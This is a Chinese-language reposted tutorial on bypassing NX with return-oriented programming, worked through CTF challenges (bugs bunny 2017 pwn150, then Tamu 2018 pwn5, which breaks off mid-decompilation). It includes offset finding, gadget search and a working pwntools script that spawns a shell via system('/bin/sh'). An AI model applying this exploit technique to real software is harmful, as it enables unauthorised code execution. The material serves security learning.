原文地址
在之前的缓冲区溢出的实验中,溢出到栈中的shellcode可以直接被系统执行,给系统安全带来了极大的风险,因此NX 技术 应运而生,该技术是一种在CPU上实现的安全技术,将数据和命令进行了区分,被标记为数据的内存页没有执行权限,因此即使将恶意shellcode写入到执行流程中也会因缺少执行权限而利用失败,在一定程度上提高了系统的安全性,但是所有安全都是绝对的,一种名为ROP(Return-Oriented Programming)的技术就能绕过这项安全措施,ROP的核心思想是利用ret,jmp,call等指令(主要是ret)来连接代码的上下文从而改变程序执行流程的一项技术,由于ret指令的功能是将当前的栈顶数据弹出到EIP中并跳转执行,我们可以在栈中精心构造一些以ret结尾的特殊指令(gadget)使系统跳转到我们在栈中放置的指令的位置,进而执行这些指令,达到攻击的效果。
先拿一道bugs bunny ctf 2017的pwn150来说:
题目下载
这是一个64位的ELF文件且程序开启了NX:

放到IDA里可以很容易发现Hello()函数中存在溢出漏洞:

现看一下溢出的情况,可以使用IDA的远程调试来看看再发生溢出后寄存器的数据,IDA远程调试教程
点击运行程序,向程序中输入如下字符串:
gdb-peda$ pattern_creat 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

回车之后IDA报错,段错误,查看此时寄存器中的数值:

栈内数据如下:

此时RSP寄存器中的值为41416741414B4141,ASCII转化一下就是AAgAAKAA,按照存储方式倒序就是AAKAAgAA,查看偏移量为88:
gdb-peda$ pattern_offset AAKAAgAA
AAKAAgAA found at offset: 88
至此我们找到了到达RSP的距离,如果想实现system("/bin/sh")起shell还需要找到system()函数的位置和字符串/bin/sh,和一个gadget,gadget是指程序中我们可以利用的代码片段,由于本程序为64位程序,在运行时与32位程序不同,64位程序的前六个整型或指针参数依次保存在RDI,RSI, RDX,RCX,R8和R9这六个寄存器中,多出来的参数才会入栈,因此我们按照ROP的思路,需要找到的gadget为pop rdi , ret
system()的位置可以在main函数中的一个today()中找到:
.text:0000000000400756 ; __unwind {
.text:0000000000400756 push rbp
.text:0000000000400757 mov rbp, rsp
.text:000000000040075A mov edi, offset command ; "/bin/date"
.text:000000000040075F call _system
.text:0000000000400764 nop
.text:0000000000400765 pop rbp
.text:0000000000400766 retn
.text:0000000000400766 ; } // starts at 400756
.text:0000000000400766 today endp
.text:0000000000400766
地址为000000000040075F
/bin/sh可以在Hello的输出语句的shorry中找到一个sh

地址为00000000004008fb
本来还想着这里怎么打错了,原来是留了后门啊,也可以在函数名中找到:

地址为00000000004003ef
寻找目标gadget可用此程序:ROPgadget
⚡ root@kali ROPgadget --binary pwn150 | grep "pop rdi"
0x0000000000400883 : pop rdi ; ret
找到了以上的地址,可以构造脚本了:
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = process("./pwn150")
system = 0x40075f
binsh = 0x4003ef
pop_rdi_ret = 0x400883
payload="A"*88
payload+=p64(pop_rdi_ret)
payload+=p64(binsh)
payload+=p64(system)
io.sendline(payload)
io.interactive()

漏洞利用成功,再解释一下为什么 要这样构造脚本:
首先发送了88个字节填充无用空间,在88个字节之后的数据gadget会存储在ESP所指的内存区域,此时系统会执行gadget的指令pop rdi ; ret,rsp+8,通过pop rdi将/bin/sh弹出到RDI寄存器中,rsp+8,rsp此时指向system(),之后会执行ret,因为此时RSP指向system(),系统会调用system()函数并将rdi中的值作为参数传到system()中从而执行system("/bin/sh")
int 0x80完成ROP上文中的例子是程序中有system函数调用的情况,但是如果程序中没有system函数的调用应该怎么办呢?
我们可以使用int 0x80来进行系统中断
启动系统调用需要使用INT指令。linux系统调用位于中断0x80,执行INT指令时,所有操作转移到内核中的系统调用处理程序,完成后执行转移到INT指令之后的下一条指令。操作系统实现系统调用的基本过程是: 应用程序调用库函数(API); API将系统调用号存入EAX,然后通过中断调用使系统进入内核态; 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用); 系统调用完成相应功能,将返回值存入EAX,返回到中断处理函数; 中断处理函数返回到API中; API将EAX返回给应用程序。 寄存器eax存放调用号,剩下的几个寄存器存放参数。
拿Tamu CTF 2018的pwn5来说:
看一下开启的安全措施:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
IDA看一下:

int first_day_corps()
{
int result; // eax
printf(
"You wake with a start as your sophomore yells \"Wake up fish %s! Why aren't you with your buddies in the fallout hole?\"\n");
puts("As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.");
puts("You spend your morning excersizing and eating chow.");
puts("Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)");
puts("1. Go to class.\n2. Change your major.\n3. Skip class and sleep\n4. Study");
getchar();
result = (char)getchar();
if ( result == 50 )
{
printf("You decide that you are already tired of studying %s and go to the advisors office to change your major\n");
printf("What do you change your major to?: ");
result = change_major();
}
else if ( result > 50 )
{
if ( result == 51 )
{
result = puts(
"You succumb to the sweet calling of your rack and decide that sleeping is more important than class at the moment.");
}
else if ( result == 52 )
{
puts(
"You realize that the corps dorms are probably not the best place to be studying and decide to go to the library");
result = printf(
"Unfortunately the queitness of the library works against you and as you are studying %s related topics "
"you start to doze off and fall asleep\n");
}
}
else if ( result
免责声明:本文系网络转载或改编,未找到原创作者,版权归原作者所有。如涉及版权,请联系删